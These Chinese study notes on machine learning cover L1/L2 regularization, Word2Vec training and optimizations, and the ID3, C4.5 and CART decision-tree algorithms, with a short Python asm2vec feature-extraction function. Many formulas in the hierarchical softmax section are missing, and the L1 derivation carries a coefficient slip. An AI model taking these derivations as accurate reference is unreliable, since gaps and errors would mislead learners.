一、正则化 L1和L2

• 本质其实是为了模型参数服从某一分布；
• 正则化之所以能够降低过拟合的原因在于，正则化是结构风险最小化的一种策略实现；

为什么希望参数具有稀疏性？

相当于对模型进行了一次特征选择，只留下比较重要的特征，提高模型的泛化能力；

正则化是一个通用的算法和思想，所以会产生过拟合现象的算法都可以使用正则化来避免过拟合。在经验风险最小化的基础上（也就是训练误差最小化），尽可能采用简单的模型，可以有效提高泛化预测精度。如果模型过于复杂，变量值稍微有点变动，就会引起预测精度问题。正则化之所以有效，就是因为其降低了特征的权重，使得模型更为简单。

正则化一般会采用 L1 范式或者 L2 范式, 其形式分别为 \(\Phi(w)=\|x\|_1\) 和 \(\Phi(w)=\|x\|_2 。\)

1.1 L1 正则化 【零均值拉普拉斯分布】

LASSO 回归, 相当于为模型添加了这样一个先验知识： \(\mathbf{w}\) 服从零均值拉普拉斯分布。首先看看拉普拉斯分布长什 么样子: \[ f(w \mid \mu, b)=\frac{1}{2 b} \exp \left(-\frac{|w-\mu|}{b}\right) \] 由于引入了先验知识, 所以似然函数这样写: \[ \begin{aligned} L(w) & =P(y \mid w, x) P(w) \\ & =\prod_{i=1}^N p\left(x_i\right)^{y_i}\left(1-p\left(x_i\right)\right)^{1-y_i} \prod_{j=1}^d \frac{1}{2 b} \exp \left(-\frac{\left|w_j\right|}{b}\right) \end{aligned} \] 取 \(\log\) 再取负，得到目标函数: \[ -\ln L(w)=-\sum_i\left[y_i \ln p\left(x_i\right)+\left(1-y_i\right) \ln \left(1-p\left(x_i\right)\right)\right]+\frac{1}{2 b^2} \sum_j\left|w_j\right| \] 等价于原始损失函数的后面加上了 L1 正则, 因此 L1 正则的本质其实是为模型增加了“模型参数服从零均值拉普拉 斯分布"这一先验知识。

1.2 L2 正则化【零均值正态分布】

Ridge 回归, 相当于为模型添加了这样一个先验知识： \(w\) 服从零均值正态分布。 首先看看正态分布长什么样子: \[ f(w \mid \mu, \sigma)=\frac{1}{\sqrt{2 \pi} \sigma} \exp \left(-\frac{(w-\mu)^2}{2 \sigma^2}\right) \] 由于引入了先验知识, 所以似然函数这样写: \[ \begin{aligned} L(w) & =P(y \mid w, x) P(w) \\ & =\prod_{i=1}^N p\left(x_i\right)^{y_i}\left(1-p\left(x_i\right)\right)^{1-y_i} \prod_{j=1}^d \frac{1}{\sqrt{2 \pi} \sigma} \exp \left(-\frac{w_j^2}{2 \sigma^2}\right) \\ & =\prod_{i=1}^N p\left(x_i\right)^{y_i}\left(1-p\left(x_i\right)\right)^{1-y_i} \frac{1}{\sqrt{2 \pi} \sigma} \exp \left(-\frac{w^T w}{2 \sigma^2}\right) \end{aligned} \] 取 In 再取负，得到目标函数: \[ -\ln L(w)=-\sum_i\left[y_i \ln p\left(x_i\right)+\left(1-y_i\right) \ln \left(1-p\left(x_i\right)\right)\right]+\frac{1}{2 \sigma^2} w^T w \] 等价于原始的损失函数后面加上了 \(L 2\) 正则, 因此 \(L 2\) 正则的本质其实是为模型增加了““模型参数服从零均值正态分 布"这一先验知识。

1.3 L1 和 L2 的区别

• 解空间约束条件 ： KKT条件【互斥松弛条件 + 约束条件大于0】
• 函数叠加：（0点成为最值的可能）导数为0的可能性
• 贝叶斯先验：分布图像

L1 正则化增加了所有权重 w 参数的绝对值之和逼迫更多 w 为零，也就是变稀疏（ L2 因为其导数也趋 0, 奔向零的速度不如 L1 给力了）。对稀疏规则趋之若鹜的一个关键原因在于它能实现特征的自动选择。L1 正则化的引入就是为了完成特征自动选择的光荣使命，它会学习地去掉这些无用的特征，也就是把这些特征对应的权重置为 0。

L2 正则化中增加所有权重 w 参数的平方之和，逼迫所有 w 尽可能趋向零但不为零（L2 的导数趋于零）。因为在未加入 L2 正则化发生过拟合时，拟合函数需要顾忌每一个点，最终形成的拟合函数波动很大，在某些很小的区间里，函数值的变化很剧烈，也就是某些 w 值非常大。为此，L2 正则化的加入就惩罚了权重变大的趋势。

 1.4 L1正则化使得模型参数具有稀疏性的原理？

(1) 解空间约束条件 ： KKT条件【互斥松弛条件 + 约束条件大于0】

KKT 条件是指优化问题在最优处（包括基本型的最优值，对偶问题的最优值）必须满足的条件。

参考线性支持向量机的 KKT 条件:

• 主问题可行: \(g_{i}\left(u^{\star}\right)=1-y_{i}\left(w^{\star \top} x_{i}+b^{\star}\right) \leq 0\) ；
• 对偶问题可行: \(\alpha_{i}^{\star} \geq 0\);
• 主变量最优: \(w^{\star}=\sum_{i=1}^{m} \alpha_{i} y_{i} x_{i}, \sum_{i=1}^{m} \alpha_{i} y_{i}=0\);
• 互补松弛: \(\alpha_{i}^{\star} g_{i}\left(u^{\star}\right)=\alpha_{i}^{\star}\left(1-y_{i}\left(w^{\star \top} x_{i}+b^{\star}\right)\right)=0\) ；

原函数曲线等高线（同颜色曲线上，每一组\(w_1,w_2\)带入后值都相同)：

当加入 L1 正则化的时候, 我们先画出 \(\left|w_1\right|+\left|w_2\right|=F\) 的图像, 也就是一个菱形, 代表这些曲线上的点算出来的 要使得这个菱形越小越好 ( \(F\) 越小越好)。那么还和原来一样的话, 过中心紫色圈圈的那个菱形明显很大, 因此我 们要取到一个恰好的值。那么如何求值呢?

1. 以同一条原曲线目标等高线来说, 现在以最外圈的红色等高线为例, 我们看到, 对于红色曲线上的每个点都可 做一个菱形, 根据上图可知, 当这个菱形与某条等高线相切（仅有一个交点）的时候, 这个菱形最小, 上图相 割对比较大的两个菱形对应的 L1 范数更大。用公式说这个时候能使得在相同的 \(\frac{1}{N} \sum_{i=1}^N\left(y_i-w^T x_i\right)^2\), 由于 相切的时候的 \(C|| w \|_1\) 小, 即 \(\left|w_1\right|+\left|w_2\right|\) 所以能够使得 \(\frac{1}{N} \sum i=1^N\left(y_i-w^T x_i\right)^2+C|| w \|_1\) 更小;
2. 有了第一条的说明我们可以看出, 最终加入 \(L 1\) 范数得到的解一定是某个菱形和某条原函数等高线的切点。现 在有个比较重要的结论来了, 我们经过观察可以看到, 几乎对于很多原函数等高曲线, 和某个菱形相交的时 候及其容易相交在坐标轴 (比如上图) , 也就是说最终的结果, 解的某些维度及其容易是 0, 比如上图最终解 是 \(w=(0, x)\) ，这也就是我们所说的 L1 更容易得到稀疏解（解向量中 0 比较多)的原因;
3. 当加入 \(L 2\) 正则化的时候, 分析和 \(L 1\) 正则化是类似的, 也就是说我们仅仅是从菱形变成了圆形而已, 同样还 是求原曲线和圆形的切点作为最终解。当然与 \(L 1\) 范数比, 我们这样求的 \(L 2\) 范数的从图上来看, 不容易交在 坐标轴上, 但是仍然比较靠近坐标轴。因此这也就是我们老说的, L2 范数能让解比较小 (靠近 0), 但是比 较平滑（不等于 0)。

(2) 函数叠加：（0点成为最值的可能)导数为0的可能性

我们接下来从更严谨的方式来证明, 简而言之就是假设现在我们是一维的情况下 \(h(w)=f(w)+C|w|\), 其中 \(h(w)\) 是目标函数, \(f(w)\) 是没加 \(\mathrm{L} 1\) 正则化项前的目标函数, \(C|w|\) 是 \(\mathrm{L}\) 正则项, 要使得 0 点成为最值可能的点, 虽然在 0 点不可导, 但是我们只需要让 0 点左右的导数异号, 即 \(h_l^{\prime}(0) h_r^{\prime}(0)=\left(f^{\prime}(0)+C\right)\left(f^{\prime}(0)-C\right)<0\) 即可也就 是 \(C>\left|f^{\prime}(0)\right|\) 的情况下, 0 点都是可能的最值点。相反, L2正则项在原点处的导数是0, 只要原目标函数在原点 处导数不为 0 , 那么最小值点就不会在原点, 所以 \(L 2\) 只有减小w最对值的作用, 对解空间的稀疏性没有贡献。

(3) 贝叶斯先验：分布图像

从贝叶斯加入先验分布的角度解释，L1正则化相当于对模型参数引入拉普拉斯先验，L2正则化相当于与引入了高斯先验。高斯分布在0点是平滑的，拉普拉斯在0点处是一个尖峰。

1.5 简单总结

一、Word2Vec

• nlp中的词向量对比：word2vec/glove/fastText/elmo/GPT/bert：https://zhuanlan.zhihu.com/p/56382372

• Word2Vec算法梳理🔥 - 杨航锋的文章 - 知乎 https://zhuanlan.zhihu.com/p/58290018

• Free will：Word2Vec

• [NLP] 秒懂词向量Word2vec的本质

• Word2Vec详解

• word2vec详解（CBOW，skip-gram，负采样，分层Softmax）

• 快速入门词嵌入之word2vec

word2vec 相比之前的 Word Embedding 方法好在什么地方？

• 极快的训练速度。以前的语言模型优化的目标是MLE，只能说词向量是其副产品。Mikolov应该是第一个提出抛弃MLE（和困惑度）指标，就是要学习一个好的词嵌入。如果不追求MLE，模型就可以大幅简化，去除隐藏层。再利用HSoftmax以及负采样的加速方法，可以使得训练在小时级别完成。而原来的语言模型可能需要几周时间。
• 一个很酷炫的man-woman=king-queen的示例。这个示例使得人们发现词嵌入还可以这么玩，并促使词嵌入学习成为了一个研究方向，而不再仅仅是神经网络中的一些参数。
• word2vec里有大量的tricks，比如噪声分布如何选？如何采样？如何负采样？等等。这些tricks虽然摆不上台面，但是对于得到一个好的词向量至关重要。

谷歌2013年提出的Word2Vec是目前最常用的词嵌入模型之一。Word2Vec实际是一种浅层的神经网络模型，它有两种网络结构，分别是连续词袋（CBOW）和跳字(Skip-Gram)模型。

CBOW适合于数据集较小的情况，而Skip-Gram在大型语料中表现更好

1.1 介绍CBOW

CBOW，全称Continuous Bag-of-Word，中文叫做连续词袋模型：以上下文来预测当前词 \(w_t\) 。CBOW模型的目的是预测 $P(w_t| w_{t-k}, , w_{t-1}, w_{t+1}, , w_{t+k}) $

前向传播过程

• 输入层: 输入C个单词\(x\)： $x_{1k}, , x_{Ck} $，并且每个 \(x\) 都是用 One-hot 编码表示，每一个 \(x\) 的维度为 V（词表长度）。

• 输入层到隐层

  • 首先，共享矩阵为 \(W_{V \times N}\) ，V表示词表长度，W的每一行表示的就是一个N维的向量（训练结束后，W的每一行就表示一个词的词向量）。
  • 然后，我们把所有输入的词转\(x\)化为对应词向量，然后取平均值，这样我们就得到了隐层输出值 ( 注意，隐层中无激活函数，也就是说这里是线性组合)。 其中，隐层输出 \(h\) 是一个N维的向量 。

  \[ h = \frac{1}{C} W^T(x_1 + x_2 + \cdots + x_c) \]

• 隐层到输出层：隐层的输出为N维向量 \(h\) ， 隐层到输出层的权重矩阵为 \(W'_{N \times V}\) 。然后，通过矩阵运算我们得到一个 $V $ 维向量 \[ u = W'^{T} * h \]

其中，向量 \(u\) 的第 \(i\) 行表示词汇表中第 \(i\) 个词的可能性，然后我们的目的就是取可能性最高的那个词。因此，在最后的输出层是一个softmax 层获取分数最高的词，那么就有我们的最终输出： \[ P(w_j| context) =y_i = \frac{exp({u_j})}{\sum_{k \in V} exp({u_k})} \]

损失函数

我们假定 \(j^*\) 是真实单词在词汇表中的下标，那么根据极大似然法，则目标函数定义如下： \[ E = -log \, p(W_O |W_I) = -log \, \frac{exp({u_j})}{\sum_{k \in V} exp({u_k})} = log \sum_{k \in V} exp(u_{k}) -u_j \]

1.2 Skip-gram模型

Skip-Gram的基本思想是：通过当前词 \(w_t\) 预测其上下文 \(w_{t-i}, \cdots , w_{t+i}\) ，模型如下图所示：

前向传播过程

• 输入层： 输入的是一个单词，其表示形式为 One-hot ，我们将其表示为V维向量 \(x_k\) ，其中 \(V\) 为词表大小。然后，通过词向量矩阵 \(W_{V \times N}\) 我们得到一个N维向量 \[ h = W^T * x_k = v^{T}_{w_I} \]

• 隐层： 而隐层中没有激活函数，也就是说输入=输出，因此隐藏的输出也是 \(h\) 。

• 隐层到输出层：

  • 首先，因为要输出C个单词，因此我们此时的输出有C个分布： $y_1, y_C $，且每个分布都是独立的，我们需要单独计算， 其中 \(y_i\) 表示窗口的第 \(i\) 个单词的分布。 【独立性假设】

  • 其次， 因为矩阵 \(W'_{N \times V}\) 是共享的，因此我们得到的 \(V \times 1\) 维向量 \(u\) 其实是相同的，也就是有 \(u_{c,j} = u_j\) ，这里 \(u\) 的每一行同 CBOW 中一样，表示的也是评分。

  • 最后，每个分布都经过一个 softmax 层，不同于 CBOW，我们此处产生的是第 \(i\) 个单词的分布（共有C个单词），如下：

  \[ P(w_{i,j}| context) =y_i = \frac{exp({u_j})}{\sum_{k \in V} exp({u_k})} \]

损失函数

假设 \(j^*\) 是真实单词在词汇表中的下标，那么根据极大似然法，则目标函数定义如下： \[ \begin{split} E &= - log \, p(w_1, w_2, \cdots, w_C | w_I) \\ &= - log \prod_{c=1}^C P(w_c|w_i) \\ &= - log \prod_{c=1}^{C} \frac{exp(u_{c, j})}{\sum_{k=1}^{V} exp(u_{c,k}) } \\ &= - \sum_{c=1}^C u_{j^*_c} + C \cdot log \sum_{k=1}^{V} exp(u_k) \end{split} \]

二、Word2Vec 优化

以上我们讨论的模型（二元模型，CBOW和skip-gram）都是他们的原始形式，没有加入任何优化技巧。对于这些模型，每个单词存在两类向量表达：输入向量，输出向量（这也是为什么word2vec的名称由来：1个单词对应2个向量表示)。学习得到输入向量比较简单；但要学习输出向量是很困难的。

==2.1 Hierarchical Softmax==

https://zhuanlan.zhihu.com/p/56139075

Hierarchical Softmax对原模型的改进主要有两点，第一点是从输入层到隐藏层的映射，没有采用原先的与矩阵W相乘然后相加求平均的方法，而是直接对所有输入的词向量求和。假设输入的词向量为（0，1，0，0）和（0,0,0,1），那么隐藏层的向量为（0,1,0,1）。

Hierarchical Softmax的第二点改进是采用哈夫曼树来替换了原先的从隐藏层到输出层的矩阵W’。哈夫曼树的叶节点个数为词汇表的单词个数V，一个叶节点代表一个单词，而从根节点到该叶节点的路径确定了这个单词最终输出的词向量。

具体来说，这棵哈夫曼树除了根结点以外的所有非叶节点中都含有一个由参数θ确定的sigmoid函数，不同节点中的θ不一样。训练时==隐藏层的向量==与这个==sigmoid函数==进行运算，根据结果进行分类，若分类为负类则沿左子树向下传递，编码为0；若分类为正类则沿右子树向下传递，编码为1。

每个叶子节点代表语料库中的一个词，于是每个词语都可以被01唯一的编码，并且其编码序列对应一个事件序列，于是我们可以计算条件概率 。

在开始计算之前，还是得引入一些符号：

1. :从根结点出发到达w对应叶子结点的路径

2. :路径中包含结点的个数

3. :路径 中的各个节点

4. :词w的编码， 表示路径 第j个节点对应的编码（根节点无编码）

5. :路径 中非叶节点对应的参数向量

于是可以给出w的条件概率：

这是个简单明了的式子，从根节点到叶节点经过了 个节点，编码从下标2开始（根节点无编码），对应的参数向量下标从1开始（根节点为1)。

其中，每一项是一个逻辑斯谛回归：

考虑到d只有0和1两种取值，我们可以用指数形式方便地将其写到一起：

我们的目标函数取对数似然：

将 代入上式，有:

这也很直白，连乘的对数换成求和。不过还是有点长，我们把每一项简记为：

WordVec 极大化化目标函数使用的算法是是随机梯度上升法

每一项有两个参数，一个是每个节点的参数向量 ，另一个是输出层的输入 ，我们分别对其求偏导数：

因为sigmoid函数的导数有个很棒的形式：

于是代入上上式得到：

合并同类项得到：

于是 的更新表达式就得到了：

其中， 是学习率，通常取0-1之间的一个值。学习率越大训练速度越快，但目标函数容易在局部区域来回抖动。

再来 的偏导数，注意到 中 和 是对称的，所有直接将 的偏导数中的 替换为 ，得到关于 的偏导数：

不过 是上下文的词向量的和，不是上下文单个词的词向量。怎么把这个更新量应用到单个词的词向量上去呢？word2vec采取的是直接将 的更新量整个应用到每个单词的词向量上去：

其中， 代表上下文中某一个单词的词向量。我认为应该也可以将其平均后更新到每个词向量上去，无非是学习率的不同，欢迎指正。

2.2 Negative Sampling

Negative Sampling - 素轻的文章 - 知乎 https://zhuanlan.zhihu.com/p/56106590

为了解决数量太过庞大的输出向量的更新问题，我们就不更新全部向量，而只更新他们的一个样本。

训练神经网络 意味着输入一个训练样本调整weight，让它预测这个训练样本更准。换句话说，每个训练样本将会影响网络中所有的weight。Negative sampling 解决了这个问题，每次我们就修改了其中一小部分weight，而不是全部。

负采样是另一种用来提高Word2Vec效率的方法，它是基于这样的观察：训练一个神经网络意味着使用一个训练样本就要稍微调整一下神经网络中所有的权重，这样才能够确保预测训练样本更加精确，如果能设计一种方法每次只更新一部分权重，那么计算复杂度将大大降低。

如果 vocabulary 大小为10000时， 当输入样本 ( "fox", "quick") 到神经网络时， “ fox” 经过 one-hot 编码，在输出层我们期望对应 “quick” 单词的那个神经元结点输出 1，其余 9999 个都应该输出 0。在这里，这9999个我们期望输出为0的神经元结点所对应的单词我们为 negative word. negative sampling 的想法也很直接 ，将随机选择一小部分的 negative words，比如选 10个 negative words 来更新对应的权重参数。

假设原来模型每次运行都需要300×10,000(其实没有减少数量，但是运行过程中，减少了需要载入的数量。) 现在只要300×(1+10)减少了好多。

==问题来了，如何选择10个negative sample呢？==

negative sample也是根据他们出现概率来选的，而这个概率又和他们出现的频率有关。更常出现的词，更容易被选为negative sample。

这个概率用一个公式表示，每个词给了一个和它频率相关的权重。这个概率公式为：

在paper中说0.75这个超参是试出来的，这个函数performance比其他函数好。

负采样算法实际上就是一个带权采样过程，负例的选择机制是和单词词频联系起来的。具体做法是以 N+1 个点对区间 [0,1] 做非等距切分，并引入的一个在区间 [0,1] 上的 M 等距切分，其中 M >> N。源码中取 M = 10^8。然后对两个切分做投影，得到映射关系：采样时，每次生成一个 [1, M-1] 之间的整数 i，则 Table(i) 就对应一个样本；当采样到正例时，跳过（拒绝采样）。

三、Word2vec Q&A

3.1 Word2Vec与LDA的区别

1. LDA是利用文档中单词的共现关系来对单词按主题聚类，也可以理解为对“文档-单词”矩阵进行分解，得到“文档-主题”和“主题-单词”两个概率分布。

2. Word2Vec是利用上下文-单词“矩阵进行学习，其中上下文由周围的几个单词组成，由此得到的词向量表示更多地融入了上下文共现的特征。也就是说，如果两个单词所对应的word2vec向量相似度较高，那么它们很可能经常在同样的上下文中出现。

3. LDA模型是一种基于概率图模型的生成式模型，其似然函数可以写成若干条件概率连乘的形式，其中包括需要推测的隐含变量（即主题）；

4. 而Word2Vec模型一般表达为神经网络的形式，似然函数定义在网络的输出之上，需要通过学习网络的权重以得到单词的稠密向量表示。

3.2 Word2Vec存在的问题是什么？

• 对每个local context window单独训练，没有利用包 含在global co-currence矩阵中的统计信息。
• 对多义词无法很好的表示和处理，因为使用了唯一的词向量

3.2 OOD of word2vec

其它单词认定其为Unknow，编号为0

3.4 项目中的word2vec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

def feature_asm2vec(data_type, inter_path):
    """Feature engineering for asm2vec feature."""

    if data_type == "train":
        # TODO : 模型空判断
        # Train a Word2vec model by mixing traing set and test set
        print("------------------------ 训练asm2vec模型 ------------------------")
        sentences = PathLineSentences(f"{inter_path}/semantic/")
        model = Word2Vec(sentences=sentences, vector_size=1024, window=5, min_count=5, workers=5)
        model.wv.save_word2vec_format(f"{inter_path}/models/asm2vec.bin", binary=True, sort_attr='count')

    # Load the trained Word2vec model
    model_wv = KeyedVectors.load_word2vec_format(f"{inter_path}/models/asm2vec.bin", binary=True)

    print("------------------------ 生成asm2vec特征 ------------------------")
    with open(f"{inter_path}/{data_type}_filename.txt", 'r') as fp:
        filename = fp.read().split()
    # Feature engineering for generating string vector features
    obj = StringVector()
    arr = np.zeros((len(filename), obj.dim))
    with tqdm(total=len(filename), ncols=80, desc=obj.name) as pbar:
        for i, file in enumerate(filename):
            with open(f"{inter_path}/semantic/{file}.txt", "rb") as f:
                stringz = f.read().decode('utf-8', errors='ignore')
            lines = ' '.join(stringz.split('\n'))
            raw_words = list(set(lines.split()))
            arr[i, :] = obj.feature_vector((model_wv, raw_words))
            pbar.update(1)
    arr[np.isnan(arr)] = 0
    np.save(f"{inter_path}/feature/{data_type}_semantic.npy", arr)

3.5 Tf-Idf、Word2Vec和BERT 比较

从算法本质来说 word2vec 一旦训练好了是没法处理未登录词（OOV）的，一般的做法是给OOV一个默认的向量，下面是一个类的封装（仅列出核心部分）

https://www.leiphone.com/category/yanxishe/TbZAzc3CJAMs815p.html

• 词袋法：用scikit-learn进行特征工程、特征选择以及机器学习，测试和评估，用lime解释。
• 词嵌入法：用gensim拟合Word2Vec，用tensorflow/keras进行特征工程和深度学习，测试和评估，用Attention机制解释。
• 语言模型：用transformers进行特征工程，用transformers和tensorflow/keras进行预训练BERT的迁移学习，测试和评估。

概要

在本文中，我将使用NLP和Python来解释3种不同的文本多分类策略：老式的词袋法（tf-ldf），著名的词嵌入法（Word2Vec）和最先进的语言模型（BERT）。

NLP（自然语言处理）是人工智能的一个领域，它研究计算机和人类语言之间的交互作用，特别是如何通过计算机编程来处理和分析大量的自然语言数据。NLP常用于文本数据的分类。文本分类是指根据文本数据内容对其进行分类的问题。

我们有多种技术从原始文本数据中提取信息，并用它来训练分类模型。本教程比较了传统的词袋法（与简单的机器学习算法一起使用）、流行的词嵌入模型（与深度学习神经网络一起使用）和最先进的语言模型（和基于attention的transformers模型中的迁移学习一起使用），语言模型彻底改变了NLP的格局。

我将介绍一些有用的Python代码，这些代码可以轻松地应用在其他类似的案例中（仅需复制、粘贴、运行），并对代码逐行添加注释，以便你能复现这个例子（下面是全部代码的链接）。

词袋法：文件越多，词汇表越大，因此特征矩阵将是一个巨大的稀疏矩阵。

Bert比之Word2Vec,有哪些进步呢？

• 静态到动态：一词多义问题

• 词的多层特性：一个好的语言表示出了建模一词多义现象以外，还需要能够体现词的复杂特性，包括语法 (syntax)、语义 (semantics) 等。

一、ID3【删特征】

ID3 算法是建立在奥卡姆剃刀[“切勿浪费较多东西去做，用较少的东西，同样可以做好的事情”]（用较少的东西，同样可以做好事情）的基础上：越是小型的决策树越优于大的决策树。

1.1 思想

从信息论的知识中我们知道：信息熵越大，从而样本纯度越低，。ID3 算法的核心思想就是以信息增益来度量特征选择，选择信息增益最大的特征进行分裂。算法采用自顶向下的贪婪搜索遍历可能的决策树空间（C4.5 也是贪婪搜索）。 其大致步骤为：

1. 初始化特征集合和数据集合；
2. 计算数据集合信息熵和所有特征的条件熵，选择信息增益最大的特征作为当前决策节点；
3. 更新数据集合和特征集合（删除上一步使用的特征，并按照特征值来划分不同分支的数据集合）；
4. 重复 2，3 两步，若子集值包含单一特征，则为分支叶子节点。

1.2 划分标准

ID3 使用的分类标准是信息增益，它表示得知特征 A 的信息而使得样本集合不确定性减少的程度。

数据集的信息熵：

\[ H(D)=-\sum_{k=1}^{K} \frac{\left|C_{k}\right|}{|D|} \log _{2} \frac{\left|C_{k}\right|}{|D|} \]

其中\(C_{k}\)表示集合 D 中属于第 k 类样本的样本子集。针对某个特征 A，对于数据集 D 的条件熵 \(H(D \mid A)\)为：

\[ \begin{aligned} H(D \mid A) &=\sum_{i=1}^{n} \frac{\left|D_{i}\right|}{|D|} H\left(D_{i}\right) \\ &=-\sum_{i=1}^{n} \frac{\left|D_{i}\right|}{|D|}\left(\sum_{k=1}^{K} \frac{\left|D_{i k}\right|}{\left|D_{i}\right|} \log _{2} \frac{\left|D_{i k}\right|}{\left|D_{i}\right|}\right) \end{aligned} \]

信息增益 = 信息熵 - 条件熵。信息增益越大表示使用特征 A 来划分所获得的“纯度提升越大”。 \[ \operatorname{Gain}(D, A)=H(D)-H(D \mid A) \]

信息增益越大表示使用特征 A 来划分所获得的“纯度提升越大”。

1.3 缺点【没有剪枝、特征偏好、缺失值】

• ID3 没有剪枝策略，容易过拟合；
• 信息增益准则对可取值数目较多的特征有所偏好，类似“编号”的特征其信息增益接近于 1；
• 只能用于处理离散分布的特征；
• 没有考虑缺失值。

一、C4.5

C4.5 算法最大的特点是克服了 ID3 对特征数目的偏重这一缺点，引入信息增益率来作为分类标准。

C4.5 相对于 ID3 的缺点对应有以下改进方式：

• 引入悲观剪枝策略进行后剪枝；
• 引入信息增益率作为划分标准；
• 将连续特征离散化，假设 n 个样本的连续特征 A 有 m 个取值，C4.5 将其排序并取相邻两样本值的平均数共 m-1 个划分点，分别计算以该划分点作为二元分类点时的信息增益，并选择信息增益最大的点作为该连续特征的二元离散分类点；
• 对于缺失值的处理可以分为两个子问题：
• 问题一：在特征值缺失的情况下进行划分特征的选择？（即如何计算特征的信息增益率）
  • C4.5 的做法是：对于具有缺失值特征，用没有缺失的样本子集所占比重来折算；
• 问题二：选定该划分特征，对于缺失该特征值的样本如何处理？（即到底把这个样本划分到哪个结点里）
  • C4.5 的做法是：将样本同时划分到所有子节点，不过要调整样本的权重值，其实也就是以不同概率划分到不同节点中。

1.2 划分标准

利用信息增益率可以克服信息增益的缺点，其公式为:

\[ \operatorname{Gain}_{\text {ratio }}(D, A) =\frac{\operatorname{Gain}(D, A)}{H_{A}(D)} \\ \]

\[ H_{A}(D)=-\sum_{i=1}^{n} \frac{\left|D_{i}\right|}{|D|} \log _{2} \frac{\left|D_{i}\right|}{|D|} \]

信息增益率对可取值较少的特征有所偏好（分母越小，整体越大），因此 C4.5 并不是直接用增益率最大的特征进行划分，而是使用一个启发式方法：先从候选划分特征中找到信息增益高于平均值的特征，再从中选择增益率最高的。

1.3 剪枝策略

为什么要剪枝：过拟合的树在泛化能力的表现非常差。

预剪枝和悲观剪枝

1.3.1 预剪枝

在节点划分前来确定是否继续增长，及早停止增长的主要方法有：

• 节点内数据样本低于某一阈值；
• 所有节点特征都已分裂；
• 节点划分前准确率比划分后准确率高。

预剪枝不仅可以降低过拟合的风险而且还可以减少训练时间，但另一方面它是基于“贪心”策略，会带来欠拟合风险。

1.3.2 后剪枝【悲观剪枝方法】 http://gitlinux.net/2019-06-04-C45/

在已经生成的决策树上进行剪枝，从而得到简化版的剪枝决策树。

C4.5 采用的悲观剪枝方法，用递归的方式从低往上针对每一个非叶子节点，评估用一个最佳叶子节点去代替这课子树是否有益。如果剪枝后与剪枝前相比其错误率是保持或者下降，则这棵子树就可以被替换掉。C4.5 通过训练数据集上的错误分类数量来估算未知样本上的错误率。

后剪枝决策树的欠拟合风险很小，泛化性能往往优于预剪枝决策树。但同时其训练时间会大的多。

1.4 缺点

• 剪枝策略可以再优化；
• C4.5 用的是多叉树，用二叉树效率更高；
• C4.5 只能用于分类；
• C4.5 使用的熵模型拥有大量耗时的对数运算，连续值还有排序运算；
• C4.5 在构造树的过程中，对数值属性值需要按照其大小进行排序，从中选择一个分割点，所以只适合于能够驻留于内存的数据集，当训练集大得无法在内存容纳时，程序无法运行。

一、CART

ID3 和 C4.5 虽然在对训练样本集的学习中可以尽可能多地挖掘信息，但是其生成的决策树分支、规模都比较大，CART 算法的二分法可以简化决策树的规模，提高生成决策树的效率。

1.1 思想

CART 包含的基本过程有分裂，剪枝和树选择。

• 分裂：分裂过程是一个二叉递归划分过程，其输入和预测特征既可以是连续型的也可以是离散型的，CART 没有停止准则，会一直生长下去；
• 剪枝：采用代价复杂度剪枝，从最大树开始，每次选择训练数据熵对整体性能贡献最小的那个分裂节点作为下一个剪枝对象，直到只剩下根节点。CART 会产生一系列嵌套的剪枝树，需要从中选出一颗最优的决策树；
• 树选择：用单独的测试集评估每棵剪枝树的预测性能（也可以用交叉验证）。

CART 在 C4.5 的基础上进行了很多提升。

• C4.5 为多叉树，运算速度慢，CART 为二叉树，运算速度快；
• C4.5 只能分类，CART 既可以分类也可以回归；
• CART 使用 Gini 系数作为变量的不纯度量，减少了大量的对数运算；
• CART 采用代理测试来估计缺失值，而 C4.5 以不同概率划分到不同节点中；
• CART 采用“基于代价复杂度剪枝”方法进行剪枝，而 C4.5 采用悲观剪枝方法。

1.2 划分标准

熵模型拥有大量耗时的对数运算，基尼指数在简化模型的同时还保留了熵模型的优点。基尼指数代表了模型的不纯度，基尼系数越小，不纯度越低，特征越好。这和信息增益（率）正好相反。 \[ \begin{aligned} \operatorname{Gini}(D) &=\sum_{k=1}^{K} \frac{\left|C_{k}\right|}{|D|}\left(1-\frac{\left|C_{k}\right|}{|D|}\right) =1- \sum_{k=1}^{K}\left(\frac{\left|C_{k}\right|}{|D|}\right)^{2} &\operatorname{Gini}(D \mid A) =\sum_{i=1}^{n} \frac{\left|D_{i}\right|}{|D|} \operatorname{Gini}\left(D_{i}\right) \end{aligned} \]

基尼指数反映了从数据集中随机抽取两个样本，其类别标记不一致的概率。因此基尼指数越小，则数据集纯度越高。基尼指数偏向于特征值较多的特征，类似信息增益。基尼指数可以用来度量任何不均匀分布，是介于 0~1 之间的数，0 是完全相等，1 是完全不相等，基尼指数可以理解为熵模型的一阶泰勒展开。

基尼指数是信息熵中﹣logP在P=1处一阶泰勒展开后的结果！所以两者都可以用来度量数据集的纯度

1.3 缺失值处理

上文说到，模型对于缺失值的处理会分为两个子问题：

• 如何在特征值缺失的情况下进行划分特征的选择？

对于问题 1，CART 一开始严格要求分裂特征评估时只能使用在该特征上没有缺失值的那部分数据，在后续版本中，CART 算法使用了一种惩罚机制来抑制提升值，从而反映出缺失值的影响（例如，如果一个特征在节点的 20% 的记录是缺失的，那么这个特征就会减少 20% 或者其他数值）。

• 选定该划分特征，模型对于缺失该特征值的样本该进行怎样处理？

对于问题 2，CART 算法的机制是为树的每个节点都找到代理分裂器，无论在训练数据上得到的树是否有缺失值都会这样做。在代理分裂器中，特征的分值必须超过默认规则的性能才有资格作为代理（即代理就是代替缺失值特征作为划分特征的特征），当 CART 树中遇到缺失值时，这个实例划分到左边还是右边是决定于其排名最高的代理，如果这个代理的值也缺失了，那么就使用排名第二的代理，以此类推，如果所有代理值都缺失，那么默认规则就是把样本划分到较大的那个子节点。代理分裂器可以确保无缺失训练数据上得到的树可以用来处理包含确实值的新数据。

1.4 剪枝策略

基于代价复杂度的剪枝:https://www.bilibili.com/read/cv11066239

采用一种“基于代价复杂度的剪枝”方法进行后剪枝，这种方法会生成一系列树，每个树都是通过将前面的树的某个或某些子树替换成一个叶节点而得到的，这一系列树中的最后一棵树仅含一个用来预测类别的叶节点。然后用一种成本复杂度的度量准则来判断哪棵子树应该被一个预测类别值的叶节点所代替。这种方法需要使用一个单独的测试数据集来评估所有的树，根据它们在测试数据集熵的分类性能选出最佳的树。

